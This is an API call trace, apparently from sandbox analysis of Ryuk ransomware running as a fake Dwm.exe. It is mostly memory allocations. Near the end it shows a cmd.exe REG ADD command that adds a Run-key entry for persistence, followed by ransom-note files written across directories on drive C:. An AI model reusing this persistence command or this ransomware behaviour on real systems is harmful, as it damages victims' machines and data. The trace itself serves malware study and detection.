	[0116.495] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2100000
	[0116.495] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2cd0000
	[0116.495] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2110000
	[0116.496] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2dd0000
	[0116.496] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2120000
	[0116.496] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2ed0000
	[0116.496] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2130000
	[0116.497] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2fd0000
	[0116.497] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2140000
	[0116.497] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x30d0000
	[0116.497] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2620000
	[0116.498] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x31d0000
	[0116.498] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x26b0000
	[0116.498] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x32d0000
	[0116.499] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x26c0000
	[0116.499] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x33d0000
	[0116.499] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x26d0000
	[0116.499] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x34d0000
	[0116.500] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x26e0000
	[0116.500] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x35d0000
	[0116.500] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x26f0000
	[0116.501] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x36d0000
	[0116.501] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2700000
	[0116.502] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x37d0000
	[0116.502] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2710000
	[0116.502] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x38d0000
	[0116.502] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2720000
	[0116.503] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x39d0000
	[0116.503] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2730000
	[0116.503] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3ad0000
	[0116.504] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2740000
	[0116.504] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3bd0000
	[0116.504] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3cd0000
	[0116.504] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3ce0000
	[0116.505] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3de0000
	[0116.505] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3df0000
	[0116.505] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3ef0000
	[0116.505] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3f00000
	[0116.506] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4000000
	[0116.506] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4010000
	[0116.506] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4110000
	[0116.507] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4120000
	[0116.507] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4220000
	[0116.507] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4230000
	[0116.507] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4330000
	[0116.508] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4340000
	[0116.508] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4440000
	[0116.508] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4450000
	[0116.509] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4550000
	[0116.509] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4560000
	[0116.509] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4660000
	[0116.510] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4670000
	[0116.510] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4770000
	[0116.510] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4780000
	[0116.511] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4880000
	[0116.511] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4890000
	[0116.511] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4990000
	[0116.511] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x49a0000
	[0116.512] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4aa0000
	[0116.512] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4ab0000
	[0116.512] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4bb0000
	[0116.513] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4bc0000
	[0116.513] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4cc0000
	[0116.513] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4cd0000
	[0116.513] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4dd0000
	[0116.514] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4de0000
	[0116.514] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4ee0000
	[0116.514] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4ef0000
	[0116.515] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4ff0000
	[0116.515] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5000000
	[0116.515] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5100000
	[0116.516] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5110000
	[0116.741] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5210000
	[0116.742] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5220000
	[0116.742] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5320000
	[0116.742] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5330000
	[0116.743] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5430000
	[0116.743] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5440000
	[0116.743] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5540000
	[0116.744] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5550000
	[0116.744] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5650000
	[0116.744] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5660000
	[0116.745] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5760000
	[0116.745] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5770000
	[0116.745] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5870000
	[0116.746] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5880000
	[0116.746] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5980000
	[0116.746] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5990000
	[0116.747] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5a90000
	[0116.747] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5aa0000
	[0116.747] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5ba0000
	[0116.748] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5bb0000
	[0116.748] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5cb0000
	[0116.748] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5cc0000
	[0116.749] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5dc0000
	[0116.749] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5dd0000
	[0116.750] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5ed0000
	[0116.750] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5ee0000
	[0116.750] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5fe0000
	[0116.751] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5ff0000
	[0116.751] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x60f0000
	[0116.751] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6100000
	[0116.752] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6200000
	[0116.752] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6210000
	[0116.753] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6310000
	[0116.753] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6320000
	[0116.753] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6420000
	[0116.754] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6430000
	[0116.754] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6530000
	[0116.754] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6540000
	[0116.755] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6640000
	[0116.755] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6650000
	[0116.755] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6750000
	[0116.756] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6760000
	[0116.756] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6860000
	[0116.756] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6870000
	[0116.757] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6970000
	[0116.757] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6980000
	[0116.757] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6a80000
	[0116.758] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6a90000
	[0116.758] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6b90000
	[0116.758] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000
	[0116.759] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6ca0000
	[0116.759] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6cb0000
	[0116.760] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6db0000
	[0116.760] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6dc0000
	[0116.760] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6ec0000
	[0116.761] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6ed0000
	[0116.761] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6fd0000
	[0116.761] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6fe0000
	[0116.762] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x70e0000
	[0116.762] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x70f0000
	[0116.762] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x71f0000
	[0116.763] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7200000
	[0116.763] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7300000
	[0116.764] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7310000
	[0116.764] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7410000
	[0116.764] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7420000
	[0116.765] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7520000
	[0116.765] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7530000
	[0116.766] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7630000
	[0116.766] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7640000
	[0116.767] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7740000
	[0116.767] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7750000
	[0116.767] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7850000
	[0116.768] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7860000
	[0116.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7960000
	[0116.769] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7970000
	[0116.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7a70000
	[0116.769] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7a80000
	[0116.770] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7b80000
	[0116.770] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7b90000
	[0116.771] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7c90000
	[0116.771] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7ca0000
	[0116.771] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7da0000
	[0116.772] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7db0000
	[0116.772] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7eb0000
	[0116.773] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7ec0000
	[0116.773] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7fc0000
	[0116.774] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7fd0000
	[0116.774] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x80d0000
	[0116.774] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x80e0000
	[0116.775] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x81e0000
	[0116.775] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x81f0000
	[0116.776] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x82f0000
	[0116.776] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x8300000
	[0116.776] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8400000
	[0116.777] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x8410000
	[0116.777] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8510000
	[0116.778] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x8520000
	[0116.778] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8620000
	[0117.066] GetWindowsDirectoryW (in: lpBuffer=0x26ae960, uSize=0x64 | out: lpBuffer="C:\\Windows") returned 0xa
	[0117.066] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26ae710, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\Dwm.exe" (normalized: "c:\\windows\\system32\\dwm.exe")) returned 0x1b
	[0117.269] GetBinaryTypeW (in: lpApplicationName="C:\\Windows\\system32\\Dwm.exe", lpBinaryType=0x26ae930 | out: lpBinaryType=0x26ae930) returned 1
	[0117.272] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26aeb30, nSize=0x140 | out: lpFilename="C:\\Windows\\system32\\Dwm.exe" (normalized: "c:\\windows\\system32\\dwm.exe")) returned 0x1b
	[0117.272] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Windows\\System32\\cmd.exe", lpParameters="/C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Windows\\system32\\Dwm.exe\" /f /reg:64", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0122.442] GetTempPathW (in: nBufferLength=0x1388, lpBuffer=0x13fd49c80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25
	[0122.442] SetLastError (dwErrCode=0x0) 
	[0122.442] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\RyukReadMe.html" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x24c
	[0122.445] GetLastError () returned 0x0
	[0122.445] WriteFile (in: hFile=0x24c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26af2c8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x26af2c8*=0x273, lpOverlapped=0x0) returned 1
	[0122.448] CloseHandle (hObject=0x24c) returned 1
	[0122.449] GetLogicalDrives () returned 0x4
	[0122.449] GetDriveTypeW (lpRootPathName="C:") returned 0x3
	[0122.449] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x26aec50 | out: lpFindFileData=0x26aec50*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x79da0
	[0122.449] SetLastError (dwErrCode=0x0) 
	[0122.449] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.450] GetLastError () returned 0x5
	[0122.450] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0) returned 0
	[0122.451] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.451] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79e00
	[0122.451] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0122.451] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0122.451] SetLastError (dwErrCode=0x0) 
	[0122.451] CreateFileW (lpFileName="C:\\$Recycle.Bin\\RyukReadMe.html" (normalized: "c:\\$recycle.bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.452] GetLastError () returned 0x5
	[0122.452] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.452] CloseHandle (hObject=0xffffffffffffffff) returned 0
